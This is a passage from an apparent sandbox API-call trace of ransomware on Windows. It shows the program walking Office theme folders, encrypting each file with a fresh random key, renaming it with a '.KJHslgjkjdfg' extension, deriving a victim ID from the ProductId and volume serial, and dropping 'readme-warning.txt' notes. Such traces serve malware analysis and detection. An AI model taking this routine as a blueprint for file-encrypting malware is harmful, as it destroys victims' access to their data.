nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0145.844] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.844] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.844] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.844] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.844] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.844] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.844] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.844] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.844] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6292, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x6292, lpOverlapped=0x0) returned 1 [0145.845] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x62a0, dwBufLen=0x62a0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x62a0) returned 1 [0145.846] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.846] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x62a0, lpOverlapped=0x0) returned 1 [0145.846] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.846] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x6374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.846] SetEndOfFile (hFile=0x118) returned 1 [0145.849] GetProcessHeap () returned 0x2a0000 [0145.849] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.849] GetProcessHeap () returned 0x2a0000 [0145.849] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.849] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0145.850] CloseHandle (hObject=0x118) returned 1 [0145.853] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0145.853] GetProcessHeap () returned 0x2a0000 [0145.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0145.853] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.853] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0145.853] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.853] GetProcessHeap () returned 0x2a0000 [0145.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0145.853] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.853] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0145.853] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.853] GetProcessHeap () returned 0x2a0000 [0145.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0145.853] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.853] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0145.853] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.853] GetProcessHeap () returned 0x2a0000 [0145.853] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0145.854] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.854] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0145.854] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.854] GetProcessHeap () returned 0x2a0000 [0145.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.854] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.854] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0145.854] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.854] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0145.854] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0145.854] RegCloseKey (hKey=0x118) returned 0x0 [0145.854] GetProcessHeap () returned 0x2a0000 [0145.854] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0145.854] GetProcessHeap () returned 0x2a0000 [0145.854] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.854] GetProcessHeap () returned 0x2a0000 [0145.854] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0145.854] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0145.855] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0145.855] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.855] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0145.855] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0145.855] GetProcessHeap () returned 0x2a0000 [0145.855] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.855] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0145.855] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0145.855] GetProcessHeap () returned 0x2a0000 [0145.855] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0145.855] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\readme-warning.txt") returned 83 [0145.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.856] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0145.857] CloseHandle (hObject=0x118) returned 1 [0145.858] GetProcessHeap () returned 0x2a0000 [0145.858] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0145.858] GetProcessHeap () returned 0x2a0000 [0145.858] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0145.858] GetProcessHeap () returned 0x2a0000 [0145.858] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0145.858] GetProcessHeap () returned 0x2a0000 [0145.858] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.858] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0145.858] GetProcessHeap () returned 0x2a0000 [0145.858] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0145.858] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0145.858] GetProcessHeap () returned 0x2a0000 [0145.858] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0145.858] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0145.860] GetProcessHeap () returned 0x2a0000 [0145.860] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0145.860] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0145.860] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0145.860] GetProcessHeap () returned 0x2a0000 [0145.860] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2f32d0 [0145.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.861] GetProcessHeap () returned 0x2a0000 [0145.861] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.861] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.861] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.861] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0145.863] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.864] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.864] GetProcessHeap () returned 0x2a0000 [0145.864] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0145.864] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0145.864] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.864] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0145.864] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.864] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.864] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.864] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.864] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.864] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.865] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.865] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.865] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10fc7, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x10fc7, lpOverlapped=0x0) returned 1 [0145.866] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x10fd0, dwBufLen=0x10fd0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x10fd0) returned 1 [0145.867] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.867] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10fd0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x10fd0, lpOverlapped=0x0) returned 1 [0145.867] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.867] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x11094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.867] SetEndOfFile (hFile=0x118) returned 1 [0145.870] GetProcessHeap () returned 0x2a0000 [0145.871] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0145.871] GetProcessHeap () returned 0x2a0000 [0145.871] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.kjhslgjkjdfg")) returned 1 [0145.872] CloseHandle (hObject=0x118) returned 1 [0145.872] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0145.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.872] GetProcessHeap () returned 0x2a0000 [0145.872] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.872] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.872] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.872] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0145.874] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.874] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.874] GetProcessHeap () returned 0x2a0000 [0145.874] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0145.874] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0145.874] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.874] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0145.874] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.875] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.875] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.875] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.875] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.875] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.875] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.875] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.875] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x201, lpOverlapped=0x0) returned 1 [0145.875] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x210, dwBufLen=0x210 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x210) returned 1 [0145.875] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.875] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x210, lpOverlapped=0x0) returned 1 [0145.876] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.876] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.876] SetEndOfFile (hFile=0x118) returned 1 [0145.878] GetProcessHeap () returned 0x2a0000 [0145.878] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0145.878] GetProcessHeap () returned 0x2a0000 [0145.878] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft 